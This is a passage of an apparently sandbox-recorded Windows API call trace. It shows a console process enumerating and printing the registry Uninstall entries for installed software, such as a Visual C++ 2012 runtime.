(lpString="Language") returned 8 [0147.256] GetConsoleOutputCP () returned 0x1b5 [0147.256] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.256] GetConsoleOutputCP () returned 0x1b5 [0147.256] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0147.256] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.256] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.257] __iob_func () returned 0x7fefd702a80 [0147.257] _fileno (_File=0x7fefd702ab0) returned 1 [0147.257] _errno () returned 0xc4bb0 [0147.257] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.257] _errno () returned 0xc4bb0 [0147.257] GetFileType (hFile=0x50) returned 0x1 [0147.257] lstrlenW (lpString=" ") returned 4 [0147.257] GetConsoleOutputCP () returned 0x1b5 [0147.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.257] GetConsoleOutputCP () returned 0x1b5 [0147.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.257] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.257] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.257] __iob_func () returned 0x7fefd702a80 [0147.257] _fileno (_File=0x7fefd702ab0) returned 1 [0147.257] _errno () returned 0xc4bb0 [0147.257] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.257] _errno () returned 0xc4bb0 [0147.257] GetFileType (hFile=0x50) returned 0x1 [0147.257] lstrlenW (lpString="REG_DWORD") returned 9 [0147.257] GetConsoleOutputCP () returned 0x1b5 [0147.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.258] GetConsoleOutputCP () returned 0x1b5 [0147.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.258] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.258] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.258] __iob_func () returned 0x7fefd702a80 [0147.258] _fileno (_File=0x7fefd702ab0) returned 1 [0147.258] _errno () returned 0xc4bb0 [0147.258] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.258] _errno () returned 0xc4bb0 [0147.258] GetFileType (hFile=0x50) returned 0x1 [0147.258] lstrlenW (lpString=" ") returned 4 [0147.258] GetConsoleOutputCP () returned 0x1b5 [0147.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.258] GetConsoleOutputCP () returned 0x1b5 [0147.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.258] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.258] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.258] __iob_func () returned 0x7fefd702a80 [0147.258] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.258] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x409") returned 5 [0147.258] _fileno (_File=0x7fefd702ab0) returned 1 [0147.258] _errno () returned 0xc4bb0 [0147.258] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.258] _errno () returned 0xc4bb0 [0147.259] GetFileType (hFile=0x50) returned 0x1 [0147.259] lstrlenW (lpString="0x409") returned 5 [0147.259] GetConsoleOutputCP () returned 0x1b5 [0147.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0147.259] GetConsoleOutputCP () returned 0x1b5 [0147.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x409", lpUsedDefaultChar=0x0) returned 5 [0147.259] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0147.259] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.259] __iob_func () returned 0x7fefd702a80 [0147.259] _fileno (_File=0x7fefd702ab0) returned 1 [0147.259] _errno () returned 0xc4bb0 [0147.259] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.259] _errno () returned 0xc4bb0 [0147.259] GetFileType (hFile=0x50) returned 0x1 [0147.259] lstrlenW (lpString="\n") returned 1 [0147.259] GetConsoleOutputCP () returned 0x1b5 [0147.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.259] GetConsoleOutputCP () returned 0x1b5 [0147.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.259] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.259] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.260] GetProcessHeap () returned 0x2e0000 [0147.260] GetProcessHeap () returned 0x2e0000 [0147.260] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.260] GetProcessHeap () returned 0x2e0000 [0147.260] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.260] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.260] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.260] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x7e) returned 0x0 [0147.260] GetProcessHeap () returned 0x2e0000 [0147.260] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x80) returned 0x301970 [0147.260] GetProcessHeap () returned 0x2e0000 [0147.260] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970) returned 1 [0147.260] GetProcessHeap () returned 0x2e0000 [0147.260] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x301970) returned 0x80 [0147.260] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x301970, pcbData=0x23f670*=0x7e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030", pcbData=0x23f670*=0x7c) returned 0x0 [0147.260] __iob_func () returned 0x7fefd702a80 [0147.260] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.260] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.260] _fileno (_File=0x7fefd702ab0) returned 1 [0147.260] _errno () returned 0xc4bb0 [0147.260] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.260] _errno () returned 0xc4bb0 [0147.260] GetFileType (hFile=0x50) returned 0x1 [0147.260] lstrlenW (lpString=" ") returned 4 [0147.260] GetConsoleOutputCP () returned 0x1b5 [0147.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.260] GetConsoleOutputCP () returned 0x1b5 [0147.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.260] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.260] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.261] lstrlenW (lpString="DisplayName") returned 11 [0147.261] __iob_func () returned 0x7fefd702a80 [0147.261] _fileno (_File=0x7fefd702ab0) returned 1 [0147.261] _errno () returned 0xc4bb0 [0147.261] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.261] _errno () returned 0xc4bb0 [0147.261] GetFileType (hFile=0x50) returned 0x1 [0147.261] lstrlenW (lpString="DisplayName") returned 11 [0147.261] GetConsoleOutputCP () returned 0x1b5 [0147.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0147.261] GetConsoleOutputCP () returned 0x1b5 [0147.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0147.261] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0147.261] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.261] __iob_func () returned 0x7fefd702a80 [0147.261] _fileno (_File=0x7fefd702ab0) returned 1 [0147.261] _errno () returned 0xc4bb0 [0147.261] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.261] _errno () returned 0xc4bb0 [0147.261] GetFileType (hFile=0x50) returned 0x1 [0147.261] lstrlenW (lpString=" ") returned 4 [0147.261] GetConsoleOutputCP () returned 0x1b5 [0147.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.262] GetConsoleOutputCP () returned 0x1b5 [0147.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.262] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.262] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.262] __iob_func () returned 0x7fefd702a80 [0147.262] _fileno (_File=0x7fefd702ab0) returned 1 [0147.262] _errno () returned 0xc4bb0 [0147.262] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.262] _errno () returned 0xc4bb0 [0147.262] GetFileType (hFile=0x50) returned 0x1 [0147.262] lstrlenW (lpString="REG_SZ") returned 6 [0147.262] GetConsoleOutputCP () returned 0x1b5 [0147.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.262] GetConsoleOutputCP () returned 0x1b5 [0147.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.262] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.262] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.262] __iob_func () returned 0x7fefd702a80 [0147.262] _fileno (_File=0x7fefd702ab0) returned 1 [0147.262] _errno () returned 0xc4bb0 [0147.262] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.262] _errno () returned 0xc4bb0 [0147.262] GetFileType (hFile=0x50) returned 0x1 [0147.262] lstrlenW (lpString=" ") returned 4 [0147.263] GetConsoleOutputCP () returned 0x1b5 [0147.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.263] GetConsoleOutputCP () returned 0x1b5 [0147.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.263] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.263] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.263] __iob_func () returned 0x7fefd702a80 [0147.263] _fileno (_File=0x7fefd702ab0) returned 1 [0147.263] _errno () returned 0xc4bb0 [0147.263] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.263] _errno () returned 0xc4bb0 [0147.263] GetFileType (hFile=0x50) returned 0x1 [0147.263] lstrlenW (lpString="Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030") returned 61 [0147.263] GetConsoleOutputCP () returned 0x1b5 [0147.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0147.263] GetConsoleOutputCP () returned 0x1b5 [0147.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030", cchWideChar=61, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030", lpUsedDefaultChar=0x0) returned 61 [0147.263] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 61 [0147.263] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.263] __iob_func () returned 0x7fefd702a80 [0147.264] _fileno (_File=0x7fefd702ab0) returned 1 [0147.264] _errno () returned 0xc4bb0 [0147.264] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.264] _errno () returned 0xc4bb0 [0147.264] GetFileType (hFile=0x50) returned 0x1 [0147.264] lstrlenW (lpString="\n") returned 1 [0147.264] GetConsoleOutputCP () returned 0x1b5 [0147.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.264] GetConsoleOutputCP () returned 0x1b5 [0147.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.264] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.264] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.264] GetProcessHeap () returned 0x2e0000 [0147.264] GetProcessHeap () returned 0x2e0000 [0147.264] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970) returned 1 [0147.264] GetProcessHeap () returned 0x2e0000 [0147.264] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x301970) returned 0x80 [0147.264] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970 | out: hHeap=0x2e0000) returned 1 [0147.264] __iob_func () returned 0x7fefd702a80 [0147.264] _fileno (_File=0x7fefd702ab0) returned 1 [0147.264] _errno () returned 0xc4bb0 [0147.264] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.264] _errno () returned 0xc4bb0 [0147.264] GetFileType (hFile=0x50) returned 0x1 [0147.264] lstrlenW (lpString="\n") returned 1 [0147.264] GetConsoleOutputCP () returned 0x1b5 [0147.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.265] GetConsoleOutputCP () returned 0x1b5 [0147.265] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.265] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.265] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.265] GetProcessHeap () returned 0x2e0000 [0147.265] GetProcessHeap () returned 0x2e0000 [0147.265] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0147.265] GetProcessHeap () returned 0x2e0000 [0147.265] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x28 [0147.265] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0147.265] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.265] GetProcessHeap () returned 0x2e0000 [0147.265] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0147.265] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}") returned 109 [0147.265] GetProcessHeap () returned 0x2e0000 [0147.265] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xde) returned 0x2ff9a0 [0147.265] GetProcessHeap () returned 0x2e0000 [0147.265] GetProcessHeap () returned 0x2e0000 [0147.265] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.265] GetProcessHeap () returned 0x2e0000 [0147.265] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0147.265] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.265] GetProcessHeap () returned 0x2e0000 [0147.265] GetProcessHeap () returned 0x2e0000 [0147.265] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0147.265] GetProcessHeap () returned 0x2e0000 [0147.265] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xde [0147.265] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0 | out: hHeap=0x2e0000) returned 1 [0147.265] RegCloseKey (hKey=0x5c) returned 0x0 [0147.265] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x13, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.265] __iob_func () returned 0x7fefd702a80 [0147.266] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.266] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}\n") returned 110 [0147.266] _fileno (_File=0x7fefd702ab0) returned 1 [0147.266] _errno () returned 0xc4bb0 [0147.266] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.266] _errno () returned 0xc4bb0 [0147.266] GetFileType (hFile=0x50) returned 0x1 [0147.266] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}\n") returned 110 [0147.266] GetConsoleOutputCP () returned 0x1b5 [0147.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}\n", cchWideChar=110, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 110 [0147.266] GetConsoleOutputCP () returned 0x1b5 [0147.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}\n", cchWideChar=110, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}\n", lpUsedDefaultChar=0x0) returned 110 [0147.266] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 110 [0147.266] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.266] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0147.266] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x19, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.266] GetProcessHeap () returned 0x2e0000 [0147.266] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x28) returned 0x2f5bc0 [0147.266] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.266] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.266] GetProcessHeap () returned 0x2e0000 [0147.266] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.266] GetProcessHeap () returned 0x2e0000 [0147.266] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.266] GetProcessHeap () returned 0x2e0000 [0147.267] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.267] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.267] __iob_func () returned 0x7fefd702a80 [0147.267] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.267] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.267] _fileno (_File=0x7fefd702ab0) returned 1 [0147.267] _errno () returned 0xc4bb0 [0147.267] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.267] _errno () returned 0xc4bb0 [0147.267] GetFileType 